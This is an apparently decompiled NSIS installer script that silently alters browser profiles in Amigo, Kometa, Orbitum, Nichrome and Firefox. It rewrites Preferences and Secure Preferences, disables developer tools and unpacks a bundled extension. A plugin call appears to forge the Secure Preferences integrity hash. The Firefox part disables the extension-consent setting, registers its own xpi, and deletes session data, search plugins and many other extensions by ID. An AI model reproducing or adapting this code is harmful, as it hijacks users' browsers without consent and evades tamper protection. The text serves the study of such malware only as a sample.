; Push $_55_
; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH
Pop $_61_
label_7757:
Push $_30_
Push $_51_
Push $PLUGINSDIR\SecurePreferences
Push $_61_
Call func_11497
StrCpy $_45_ "$LOCALAPPDATA\Amigo\User Data\Default\Extensions\$_51_\$_54_"
Call func_12133
FunctionEnd
Function func_7765
StrCmp $_43_ "" label_7767
StrCpy $_41_ 1
label_7767:
CopyFiles /SILENT $_27_\Preferences $_27_\Preferences-install ; $(LSTR_7)$_27_\Preferences-install ; "Copy to "
StrCpy $_30_ $_27_\Preferences-install
ClearErrors
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Get browser /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push browser
; CallInstDLL $PLUGINSDIR\nsJSON.dll Get
IfErrors label_7810
Call func_9058
Call func_9427
Call func_9497
Call func_9563
Call func_9629
Call func_9695
Call func_9757
Call func_9823
Call func_9889
Call func_9955
Call func_10021
Call func_10087
Call func_10153
Call func_10219
Call func_10285
Call func_10351
Call func_10417
Call func_10483
Call func_10549
Call func_10615
Call func_10681
Call func_10745
Call func_10811
Call func_10877
Call func_10943
Call func_11009
Call func_11075
label_7810:
ClearErrors
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Set devtools disabled /value true
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push true
; Push /value
; Push disabled
; Push devtools
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
IfErrors label_7833
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_7833:
IfFileExists "$_27_\Secure Preferences" 0 label_7878
CopyFiles /SILENT "$_27_\Secure Preferences" "$_27_\Secure Preferences-install" ; "$(LSTR_7)$_27_\Secure Preferences-install" ; "Copy to "
IfFileExists "$_27_\Secure Preferences-install" 0 label_7878
StrCpy $_30_ "$_27_\Secure Preferences-install"
ClearErrors
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Get extensions /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push extensions
; CallInstDLL $PLUGINSDIR\nsJSON.dll Get
IfErrors label_7878
Call func_9058
Call func_9427
Call func_9497
Call func_9563
Call func_9629
Call func_9695
Call func_9757
Call func_9823
Call func_9889
Call func_9955
Call func_10021
Call func_10087
Call func_10153
Call func_10219
Call func_10285
Call func_10351
Call func_10417
Call func_10483
Call func_10549
Call func_10615
Call func_10681
Call func_10745
Call func_10811
Call func_10877
Call func_10943
Call func_11009
Call func_11075
label_7878:
StrCpy $_47_ $_27_\Bookmarks
IfFileExists $_27_\Bookmarks.inst label_7881
Call func_12634
label_7881:
Call func_12776
Call func_13394
IfFileExists "$_27_\Secure Preferences-install" 0 label_7886
Delete "$_27_\Secure Preferences"
CopyFiles /SILENT "$_27_\Secure Preferences-install" "$_27_\Secure Preferences" ; "$(LSTR_7)$_27_\Secure Preferences" ; "Copy to "
label_7886:
Delete $_27_\Preferences
IfFileExists $_27_\Preferences label_7891
CopyFiles /SILENT $_27_\Preferences-install $_27_\Preferences ; $(LSTR_7)$_27_\Preferences ; "Copy to "
Delete $_27_\Preferences-install
Goto label_7892
label_7891:
RMDir /r $_27_\Extensions\$_51_
label_7892:
FunctionEnd
Function func_7893
StrCpy $_47_ "$LOCALAPPDATA\Nichrome\User Data\Default\Bookmarks"
IfFileExists "$LOCALAPPDATA\Nichrome\User Data\Default\Bookmarks.inst" label_7896
Call func_12634
label_7896:
FunctionEnd
Function func_7897
StrCmp $_43_ "" label_7899
StrCpy $_42_ 1
label_7899:
IfFileExists "$_28_\Secure Preferences" 0 label_7945
Delete "$_28_\Secure Preferences-install"
CopyFiles /SILENT "$_28_\Secure Preferences" "$_28_\Secure Preferences-install" ; "$(LSTR_7)$_28_\Secure Preferences-install" ; "Copy to "
IfFileExists "$_28_\Secure Preferences-install" 0 label_7945
StrCpy $_30_ "$_28_\Secure Preferences-install"
ClearErrors
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Get extensions /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push extensions
; CallInstDLL $PLUGINSDIR\nsJSON.dll Get
IfErrors label_7945
Call func_9058
Call func_9427
Call func_9497
Call func_9563
Call func_9629
Call func_9695
Call func_9757
Call func_9823
Call func_9889
Call func_9955
Call func_10021
Call func_10087
Call func_10153
Call func_10219
Call func_10285
Call func_10351
Call func_10417
Call func_10483
Call func_10549
Call func_10615
Call func_10681
Call func_10745
Call func_10811
Call func_10877
Call func_10943
Call func_11009
Call func_11075
label_7945:
IfFileExists $_28_\Preferences 0 label_7969
ClearErrors
nsJSON::Set /file $_28_\Preferences
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_28_\Preferences
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Set devtools disabled /value true
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push true
; Push /value
; Push disabled
; Push devtools
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
IfErrors label_7969
nsJSON::Serialize /format /file $_28_\Preferences
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_28_\Preferences
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_7969:
StrCpy $_47_ $_28_\Bookmarks
IfFileExists $_28_\Bookmarks.inst label_7972
Call func_12634
label_7972:
Call func_12776
IfFileExists "$_28_\Secure Preferences-install" 0 label_7978
Call func_13286
Delete "$_28_\Secure Preferences"
CopyFiles /SILENT "$_28_\Secure Preferences-install" "$_28_\Secure Preferences" ; "$(LSTR_7)$_28_\Secure Preferences" ; "Copy to "
Delete "$_28_\Secure Preferences-install"
label_7978:
IfFileExists $_28_\Preferences-install 0 label_7983
Call func_13286
Delete $_28_\Preferences
CopyFiles /SILENT $_28_\Preferences-install $_28_\Preferences ; $(LSTR_7)$_28_\Preferences ; "Copy to "
Delete $_28_\Preferences-install
label_7983:
IfFileExists $_28_\Extensions\fnlniebipcabacmdlbgakehcmmdampka 0 label_7985
RMDir /r /REBOOTOK $_28_\Extensions\fnlniebipcabacmdlbgakehcmmdampka
label_7985:
FunctionEnd
Function func_7986
IfFileExists "$LOCALAPPDATA\Orbitum\User Data\Default\Bookmarks.inst" label_7989
StrCpy $_47_ "$LOCALAPPDATA\Orbitum\User Data\Default\Bookmarks"
Call func_12634
label_7989:
FunctionEnd
Function func_7990
Call func_12622
IfFileExists $_29_\Preferences 0 label_8033
IfFileExists $_29_\Preferences-install 0 label_7994
Delete $_29_\Preferences-install
label_7994:
CopyFiles /SILENT $_29_\Preferences $_29_\Preferences-install ; $(LSTR_7)$_29_\Preferences-install ; "Copy to "
StrCpy $_30_ $_29_\Preferences-install
ClearErrors
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Get browser /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push browser
; CallInstDLL $PLUGINSDIR\nsJSON.dll Get
IfErrors label_8033
ClearErrors
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Set devtools disabled /value true
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push true
; Push /value
; Push disabled
; Push devtools
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
IfErrors label_8033
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_8033:
IfFileExists "$_29_\Secure Preferences" 0 label_8121
IfFileExists "$_29_\Secure Preferences-install" 0 label_8036
Delete "$_29_\Secure Preferences-install"
label_8036:
CopyFiles /SILENT "$_29_\Secure Preferences" "$_29_\Secure Preferences-install" ; "$(LSTR_7)$_29_\Secure Preferences-install" ; "Copy to "
StrCpy $_30_ "$_29_\Secure Preferences-install"
ClearErrors
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Get extensions /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push extensions
; CallInstDLL $PLUGINSDIR\nsJSON.dll Get
IfErrors label_8079
Call func_9058
Call func_9427
Call func_9497
Call func_9563
Call func_9629
Call func_9695
Call func_9757
Call func_9823
Call func_9889
Call func_9955
Call func_10021
Call func_10087
Call func_10153
Call func_10219
Call func_10285
Call func_10351
Call func_10417
Call func_10483
Call func_10549
Call func_10615
Call func_10681
Call func_10745
Call func_10811
Call func_10877
Call func_10943
Call func_11009
Call func_11075
label_8079:
Call func_11125
IfFileExists $_29_\Extensions\$_51_ 0 label_8082
RMDir /r $_29_\Extensions\$_51_
label_8082:
nsisunz::Unzip $PLUGINSDIR\sl.zip $_29_\Extensions\$_51_\$_54_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsisunz.dll
; SetDetailsPrint lastused
; Push $_29_\Extensions\$_51_\$_54_
; Push $PLUGINSDIR\sl.zip
; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip
IfFileExists $PLUGINSDIR\CRXIMG\48.png 0 label_8092
Delete $_29_\Extensions\$_51_\$_54_\img\48.png
IfFileExists $_29_\Extensions\$_51_\$_54_\img\48.png label_8092
CopyFiles /SILENT $PLUGINSDIR\CRXIMG\48.png $_29_\Extensions\$_51_\$_54_\img\48.png ; $(LSTR_7)$_29_\Extensions\$_51_\$_54_\img\48.png ; "Copy to "
label_8092:
StrCpy $_45_ $_29_\Extensions\$_51_\$_54_
Call func_12133
ALPHAGHAMI::GHASH $_55_ "" $_67_ $_68_ $_69_ $_70_ $_71_ $_72_ ""
; Call Initialize_____Plugins
; File $PLUGINSDIR\ALPHAGHAMI.dll
; SetDetailsPrint lastused
; Push ""
; Push $_72_
; Push $_71_
; Push $_70_
; Push $_69_
; Push $_68_
; Push $_67_
; Push ""
; Push $_55_
; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH
Pop $R8
Push $_30_
Push $_51_
Push $PLUGINSDIR\SecurePreferences
Push $R8
Call func_11497
IfFileExists "$_29_\Secure Preferences-install" 0 label_8121
Call func_13436
Delete "$_29_\Secure Preferences"
IfFileExists "$_29_\Secure Preferences" 0 label_8119
RMDir /r $_29_\Extensions\$_51_
Goto label_8121
label_8119:
CopyFiles /SILENT "$_29_\Secure Preferences-install" "$_29_\Secure Preferences" ; "$(LSTR_7)$_29_\Secure Preferences" ; "Copy to "
Delete /REBOOTOK "$_29_\Secure Preferences-install"
label_8121:
IfFileExists $_29_\Preferences-install 0 label_8126
Call func_13436
Delete $_29_\Preferences
IfFileExists $_29_\Preferences label_8126
CopyFiles /SILENT $_29_\Preferences-install $_29_\Preferences ; $(LSTR_7)$_29_\Preferences ; "Copy to "
label_8126:
Delete /REBOOTOK $_29_\Preferences-install
IfFileExists "$_29_\Sync Data Backup" 0 label_8129
RMDir /r /REBOOTOK "$_29_\Sync Data Backup"
label_8129:
StrCpy $_47_ $_29_\Bookmarks
IfFileExists $_29_\Bookmarks.inst label_8132
Call func_12634
label_8132:
Call func_12776
FunctionEnd
Function func_8134
Call func_12622
Call func_11125
CreateDirectory "$LOCALAPPDATA\Kometa\User Data\Default\Extensions\$_51_\$_54_"
nsisunz::Unzip $PLUGINSDIR\sl.zip "$LOCALAPPDATA\Kometa\User Data\Default\Extensions\$_51_\$_54_"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsisunz.dll
; SetDetailsPrint lastused
; Push "$LOCALAPPDATA\Kometa\User Data\Default\Extensions\$_51_\$_54_"
; Push $PLUGINSDIR\sl.zip
; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip
IfFileExists $PLUGINSDIR\CRXIMG\48.png 0 label_8147
Delete "$LOCALAPPDATA\Kometa\User Data\Default\Extensions\$_51_\$_54_\img\48.png"
IfFileExists "$LOCALAPPDATA\Kometa\User Data\Default\Extensions\$_51_\$_54_\img\48.png" label_8147
CopyFiles /SILENT $PLUGINSDIR\CRXIMG\48.png "$LOCALAPPDATA\Kometa\User Data\Default\Extensions\$_51_\$_54_\img\48.png" ; "$(LSTR_7)$LOCALAPPDATA\Kometa\User Data\Default\Extensions\$_51_\$_54_\img\48.png" ; "Copy to "
label_8147:
FileOpen $1 "$LOCALAPPDATA\Kometa\User Data\First Run" w
FileWrite $1 ""
FileClose $1
FileOpen $1 "$LOCALAPPDATA\Kometa\User Data\Default\Preferences" w
FileWrite $1 {$\"devtools$\":{$\"disabled$\":true}}
FileClose $1
FileOpen $1 "$LOCALAPPDATA\Kometa\User Data\Default\Secure Preferences" w
FileWrite $1 ""
FileClose $1
StrCpy $_30_ "$LOCALAPPDATA\Kometa\User Data\Default\Secure Preferences"
ALPHAGHAMI::GHASH $_55_ "" $_67_ $_68_ $_69_ $_70_ $_71_ $_72_ ""
; Call Initialize_____Plugins
; File $PLUGINSDIR\ALPHAGHAMI.dll
; SetDetailsPrint lastused
; Push ""
; Push $_72_
; Push $_71_
; Push $_70_
; Push $_69_
; Push $_68_
; Push $_67_
; Push ""
; Push $_55_
; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH
Pop $R8
Push $_30_
Push $_51_
Push $PLUGINSDIR\SecurePreferences
Push $R8
Call func_11497
StrCpy $_45_ "$LOCALAPPDATA\Kometa\User Data\Default\Extensions\$_51_\$_54_"
Call func_12133
FunctionEnd
Function func_8179
StrCpy $R5 0
label_8180:
Call func_13306
IfFileExists $APPDATA\Mozilla\Firefox\profiles.ini 0 label_8236
ClearErrors
ReadINIStr $3 $APPDATA\Mozilla\Firefox\profiles.ini Profile$R5 Path
IfErrors label_8236
StrCpy $0 $3 "" 9
StrCpy $_59_ $APPDATA\Mozilla\Firefox\Profiles\$0
FileOpen $1 $_59_\prefs.js a
FileSeek $1 0 END
FileWrite $1 $\r$\n
FileWrite $1 user_pref($\"extensions.autoDisableScopes$\",0);
FileWrite $1 $\r$\n
FileClose $1
StrCpy $8 ext
Call func_13145
Pop $8
WriteRegStr HKLM Software\Mozilla\Firefox\Extensions $8 $_59_\extensions\[email protected]
Push $0
Push $_59_\prefs.js
Push ""
Push 1:-1
StrCpy $0 11996
Push $0
Call :label_4862
Pop $0
Delete /REBOOTOK $_59_\user.js
Delete /REBOOTOK $_59_\sessionstore.js
Delete /REBOOTOK $_59_\search-metadata.json
IfFileExists $_59_\extensions 0 label_8224
Call func_8238
Call func_8335
Call func_8436
Call func_8545
Call func_8644
Call func_8743
Push $_59_
Call func_927
CreateDirectory $_59_\extensions_backup$0
CopyFiles /SILENT $_59_\extensions\*.xpi $_59_\extensions_backup$0 ; $(LSTR_7)$_59_\extensions_backup$0 ; "Copy to "
CopyFiles /SILENT $_59_\extensions\{* $_59_\extensions_backup$0 ; $(LSTR_7)$_59_\extensions_backup$0 ; "Copy to "
Delete /REBOOTOK $_59_\extensions\*
RMDir /r /REBOOTOK $_59_\extensions\*
CopyFiles /SILENT $_59_\extensions_backup$0\* $_59_\extensions ; $(LSTR_7)$_59_\extensions ; "Copy to "
RMDir /r /REBOOTOK $_59_\extensions_backup$0
label_8224:
SetOutPath $PLUGINSDIR
SetOverwrite on
AllowSkipFiles on
File xpisl.zip
nsisunz::Unzip $PLUGINSDIR\xpisl.zip $_59_\extensions\[email protected]
; Call Initialize_____Plugins
; SetOverwrite off
; AllowSkipFiles off
; File $PLUGINSDIR\nsisunz.dll
; SetDetailsPrint lastused
; Push $_59_\extensions\[email protected]
; Push $PLUGINSDIR\xpisl.zip
; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip
StrCpy $_45_ $_59_\extensions\[email protected]\chrome\content
Call func_12549
IntOp $R5 $R5 + 1
Goto label_8180
label_8236:
ClearErrors
FunctionEnd
Function func_8238
IfFileExists $_59_\extensions\[email protected] 0 label_8240
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8240:
IfFileExists $_59_\searchplugins 0 label_8242
RMDir /r /REBOOTOK $_59_\searchplugins
label_8242:
IfFileExists $_59_\extensions\{2661A808-1BEB-4BEC-8673-D34EECE955CB}.xpi 0 label_8244
Delete /REBOOTOK $_59_\extensions\{2661A808-1BEB-4BEC-8673-D34EECE955CB}.xpi
label_8244:
IfFileExists $_59_\extensions\[email protected] 0 label_8246
Delete /REBOOTOK $_59_\extensions\[email protected]
label_8246:
IfFileExists $_59_\extensions\{D723D90A-8E67-11E3-81AA-43CE6088709B}.xpi 0 label_8248
Delete /REBOOTOK $_59_\extensions\{D723D90A-8E67-11E3-81AA-43CE6088709B}.xpi
label_8248:
IfFileExists $_59_\extensions\[email protected] 0 label_8250
Delete /REBOOTOK $_59_\extensions\[email protected]
label_8250:
IfFileExists $_59_\extensions\{4e38134d-ba98-4066-b898-e296d8acc938}.xpi 0 label_8252
Delete /REBOOTOK $_59_\extensions\{4e38134d-ba98-4066-b898-e296d8acc938}.xpi
label_8252:
IfFileExists $_59_\extensions\{D394D188-BAC7-4e03-8FAF-389A4D7EC6F4}.xpi 0 label_8254
Delete /REBOOTOK $_59_\extensions\{D394D188-BAC7-4e03-8FAF-389A4D7EC6F4}.xpi
label_8254:
IfFileExists $_59_\extensions\[email protected] 0 label_8256
Delete /REBOOTOK $_59_\extensions\[email protected]
label_8256:
IfFileExists $_59_\extensions\{01531192-f7ef-415f-a549-cfdb11836731}.xpi 0 label_8258
Delete /REBOOTOK $_59_\extensions\{01531192-f7ef-415f-a549-cfdb11836731}.xpi
label_8258:
IfFileExists $_59_\extensions\[email protected] 0 label_8260
Delete /REBOOTOK $_59_\extensions\[email protected]
label_8260:
IfFileExists $_59_\extensions\{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi 0 label_8262
Delete /REBOOTOK $_59_\extensions\{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi
label_8262:
IfFileExists $_59_\extensions\{fe272bd1-5f76-4ea4-8501-a05d35d823fc}.xpi 0 label_8264
Delete /REBOOTOK $_59_\extensions\{fe272bd1-5f76-4ea4-8501-a05d35d823fc}.xpi
label_8264:
IfFileExists $_59_\extensions\{4DC70064-89E2-4a55-8FC6-E8CDEAE3618C}.xpi 0 label_8266
Delete /REBOOTOK $_59_\extensions\{4DC70064-89E2-4a55-8FC6-E8CDEAE3618C}.xpi
label_8266:
IfFileExists $_59_\extensions\[email protected] 0 label_8268
Delete /REBOOTOK $_59_\extensions\[email protected]
label_8268:
IfFileExists $_59_\extensions\{55296253-4AF8-47DF-BC6F-EA21F1670ABA} 0 label_8270
RMDir /r /REBOOTOK $_59_\extensions\{55296253-4AF8-47DF-BC6F-EA21F1670ABA}
label_8270:
IfFileExists $_59_\extensions\{0634c8be-e700-47b3-9843-1695590313b5} 0 label_8272
RMDir /r /REBOOTOK $_59_\extensions\{0634c8be-e700-47b3-9843-1695590313b5}
label_8272:
IfFileExists $_59_\extensions\{05EB6920-D8AD-4350-BEF1-4F7107F70431} 0 label_8274
RMDir /r /REBOOTOK $_59_\extensions\{05EB6920-D8AD-4350-BEF1-4F7107F70431}
label_8274:
IfFileExists $_59_\extensions\{A06E9184-65B3-490A-AF63-E1EC0C4A3307} 0 label_8276
RMDir /r /REBOOTOK $_59_\extensions\{A06E9184-65B3-490A-AF63-E1EC0C4A3307}
label_8276:
IfFileExists $_59_\extensions\[email protected] 0 label_8278
Delete /REBOOTOK $_59_\extensions\[email protected]
label_8278:
IfFileExists $_59_\extensions\{1D355335-BE86-4418-AC98-2436CC3D6D74} 0 label_8280
RMDir /r /REBOOTOK $_59_\extensions\{1D355335-BE86-4418-AC98-2436CC3D6D74}
label_8280:
IfFileExists $_59_\extensions\{5E37FEF9-EC6F-484F-98E3-04B1A5B3D6EA} 0 label_8282
RMDir /r /REBOOTOK $_59_\extensions\{5E37FEF9-EC6F-484F-98E3-04B1A5B3D6EA}
label_8282:
IfFileExists $_59_\extensions\{e4a8a97b-f2ed-450b-b12d-ee082ba24782}.xpi 0 label_8284
Delete /REBOOTOK $_59_\extensions\{e4a8a97b-f2ed-450b-b12d-ee082ba24782}.xpi
label_8284:
IfFileExists $_59_\extensions\{105ab606-4b16-4c87-a246-89db11c84efa} 0 label_8286
RMDir /r /REBOOTOK $_59_\extensions\{105ab606-4b16-4c87-a246-89db11c84efa}
label_8286:
IfFileExists $_59_\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd} 0 label_8288
RMDir /r /REBOOTOK $_59_\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}
label_8288:
IfFileExists $_59_\extensions\{5F50F845-0528-401D-85D5-999E20B13DF5} 0 label_8290
RMDir /r /REBOOTOK $_59_\extensions\{5F50F845-0528-401D-85D5-999E20B13DF5}
label_8290:
IfFileExists $_59_\extensions\[email protected] 0 label_8292
Delete /REBOOTOK $_59_\extensions\[email protected]
label_8292:
IfFileExists $_59_\extensions\{a38384b3-2d1d-4f36-bc22-0f7ae402bcd7} 0 label_8294
RMDir /r /REBOOTOK $_59_\extensions\{a38384b3-2d1d-4f36-bc22-0f7ae402bcd7}
label_8294:
IfFileExists $_59_\extensions\{1FE48F08-A2AC-44AC-A21C-0556D91C50DA} 0 label_8296
RMDir /r /REBOOTOK $_59_\extensions\{1FE48F08-A2AC-44AC-A21C-0556D91C50DA}
label_8296:
IfFileExists $_59_\extensions\{4fa63c6e-3298-4ce7-ab22-f8218ac300e9}.xpi 0 label_8298
Delete /REBOOTOK $_59_\extensions\{4fa63c6e-3298-4ce7-ab22-f8218ac300e9}.xpi
label_8298:
IfFileExists $_59_\extensions\{37964A3C-4EE8-47b1-8321-34DE2C39BA4D} 0 label_8300
RMDir /r /REBOOTOK $_59_\extensions\{37964A3C-4EE8-47b1-8321-34DE2C39BA4D}
label_8300:
IfFileExists $_59_\extensions\{95778f0c-827d-4aba-b416-f07dd840fd6a} 0 label_8302
RMDir /r /REBOOTOK $_59_\extensions\{95778f0c-827d-4aba-b416-f07dd840fd6a}
label_8302:
IfFileExists $_59_\extensions\{3C6CF3C0-D800-4B4D-A3D8-8ADE406523B6} 0 label_8304
RMDir /r /REBOOTOK $_59_\extensions\{3C6CF3C0-D800-4B4D-A3D8-8ADE406523B6}
label_8304:
IfFileExists $_59_\extensions\[email protected] 0 label_8306
Delete /REBOOTOK $_59_\extensions\[email protected]
label_8306:
IfFileExists $_59_\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF} 0 label_8308
RMDir /r /REBOOTOK $_59_\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}
label_8308:
IfFileExists $_59_\extensions\[email protected] 0 label_8310
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8310:
IfFileExists $_59_\extensions\{6addfddb-ea1d-40a6-89d8-c21f55872f83} 0 label_8312
RMDir /r /REBOOTOK $_59_\extensions\{6addfddb-ea1d-40a6-89d8-c21f55872f83}
label_8312:
IfFileExists $_59_\extensions\{886f5d30-5b8b-42ab-98f8-31d062b96dc3}.xpi 0 label_8314
Delete /REBOOTOK $_59_\extensions\{886f5d30-5b8b-42ab-98f8-31d062b96dc3}.xpi
label_8314:
IfFileExists $_59_\extensions\{bcaab8ad-c85a-4df0-833c-bb1e038f56cc}.xpi 0 label_8316
Delete /REBOOTOK $_59_\extensions\{bcaab8ad-c85a-4df0-833c-bb1e038f56cc}.xpi
label_8316:
IfFileExists $_59_\extensions\{a6994947-8316-401e-82e4-23da215413fb}.xpi 0 label_8318
Delete /REBOOTOK $_59_\extensions\{a6994947-8316-401e-82e4-23da215413fb}.xpi
label_8318:
IfFileExists $_59_\extensions\{cca87299-eea0-4645-9629-a73bae49fd30}.xpi 0 label_8320
Delete /REBOOTOK $_59_\extensions\{cca87299-eea0-4645-9629-a73bae49fd30}.xpi
label_8320:
IfFileExists $_59_\extensions\{689b5bed-4e9b-4b8b-a673-3c39fb4d2820}.xpi 0 label_8322
Delete /REBOOTOK $_59_\extensions\{689b5bed-4e9b-4b8b-a673-3c39fb4d2820}.xpi
label_8322:
IfFileExists $_59_\extensions\{921265c3-88e5-40e1-8d74-df5314572900}.xpi 0 label_8324
Delete /REBOOTOK $_59_\extensions\{921265c3-88e5-40e1-8d74-df5314572900}.xpi
label_8324:
IfFileExists $_59_\extensions\{6f19f6bb-634d-4bee-bd34-ae7a9c664fb8}.xpi 0 label_8326
Delete /REBOOTOK $_59_\extensions\{6f19f6bb-634d-4bee-bd34-ae7a9c664fb8}.xpi
label_8326:
IfFileExists $_59_\extensions\{20915d52-1148-4fc2-8788-129eeb5e27dd}.xpi 0 label_8328
Delete /REBOOTOK $_59_\extensions\{20915d52-1148-4fc2-8788-129eeb5e27dd}.xpi
label_8328:
IfFileExists $_59_\extensions\[email protected] 0 label_8330
Delete /REBOOTOK $_59_\extensions\[email protected]
label_8330:
IfFileExists $_59_\extensions\{4622aef0-e33e-4e1f-9b62-ca3f18b46b25}.xpi 0 label_8332
Delete /REBOOTOK $_59_\extensions\{4622aef0-e33e-4e1f-9b62-ca3f18b46b25}.xpi
label_8332:
IfFileExists $_59_\extensions\{ce45bed6-5a5d-49e9-ac1c-530454a830e2}.xpi 0 label_8334
Delete /REBOOTOK $_59_\extensions\{ce45bed6-5a5d-49e9-ac1c-530454a830e2}.xpi
label_8334:
FunctionEnd
Function func_8335
IfFileExists $_59_\extensions\{1f01bfa6-8fc1-4c12-a219-da77269427c2}.xpi 0 label_8337
Delete /REBOOTOK $_59_\extensions\{1f01bfa6-8fc1-4c12-a219-da77269427c2}.xpi
label_8337:
IfFileExists $_59_\extensions\{9024F973-80C4-4B58-B02A-67C42A38232C} 0 label_8339
RMDir /r /REBOOTOK $_59_\extensions\{9024F973-80C4-4B58-B02A-67C42A38232C}
label_8339:
IfFileExists $_59_\extensions\{87b5a11e-3b54-42d2-9102-0a7cb1f79ebf}.xpi 0 label_8341
Delete /REBOOTOK $_59_\extensions\{87b5a11e-3b54-42d2-9102-0a7cb1f79ebf}.xpi
label_8341:
IfFileExists $_59_\extensions\{b6a94784-0ffb-4121-88c6-435139067ee2}.xpi 0 label_8343
Delete /REBOOTOK $_59_\extensions\{b6a94784-0ffb-4121-88c6-435139067ee2}.xpi
label_8343:
IfFileExists $_59_\extensions\[email protected] 0 label_8345
Delete /REBOOTOK $_59_\extensions\[email protected]
label_8345:
IfFileExists $_59_\extensions\[email protected] 0 label_8347
Delete /REBOOTOK $_59_\extensions\[email protected]
label_8347:
IfFileExists $_59_\extensions\{4889ddce-7a83-45e6-afc9-1e4f1149fff4}.xpi 0 label_8349
Delete /REBOOTOK $_59_\extensions\{4889ddce-7a83-45e6-afc9-1e4f1149fff4}.xpi
label_8349:
IfFileExists $_59_\extensions\{3560b757-0519-45b3-a215-cfb94afd0821}.xpi 0 label_8351
Delete /REBOOTOK $_59_\extensions\{3560b757-0519-45b3-a215-cfb94afd0821}.xpi
label_8351:
IfFileExists $_59_\extensions\[email protected] 0 label_8353
RMDir /r /REBOOTOK $_59_\extensions\[email protected]
label_8353:
IfFileExists $_59_\extensions\{c0915853-fd66-4086-a9ce-b80496d49b3f}.xpi 0 label_8355
Delete /REBOOTOK $_59_\extensions\{c0915853-fd66-4086-a9ce-b80496d49b3f}.xpi
label_8355:
IfFileExists $_59_\extensions\{4bd643ce-8ef9-41bb-9b43-501b4f8fae85}.xpi 0 label_8357
Delete /REBOOTOK $_59_\extensions\{4bd643ce-8ef9-41bb-9b43-501b4f8fae85}.xpi
label_8357:
IfFileExists $_59_\extensions\{34789ec0-129d-4a2d-b089-9977cdae65db}.xpi 0 label_8359
Delete /REBOOTOK $_59_\extensions\{34789ec0-129d-4a2d-b089-9977cdae65db}.xpi
label_8359:
IfFileExists $_59_\extensions\{955a1491-962c-4a4d-a25b-ddfc77991b58}.xpi 0 label_8361
Delete /REBOOTOK $_59_\extensions\{955a1491-962c-4a4d-a25b-ddfc77991b58}.xpi
label_8361:
IfFileExists $_59_\extensions\{e85a0e97-fa40-4dc4-a79e-e1c1cabe72eb}.xpi 0 label_8363
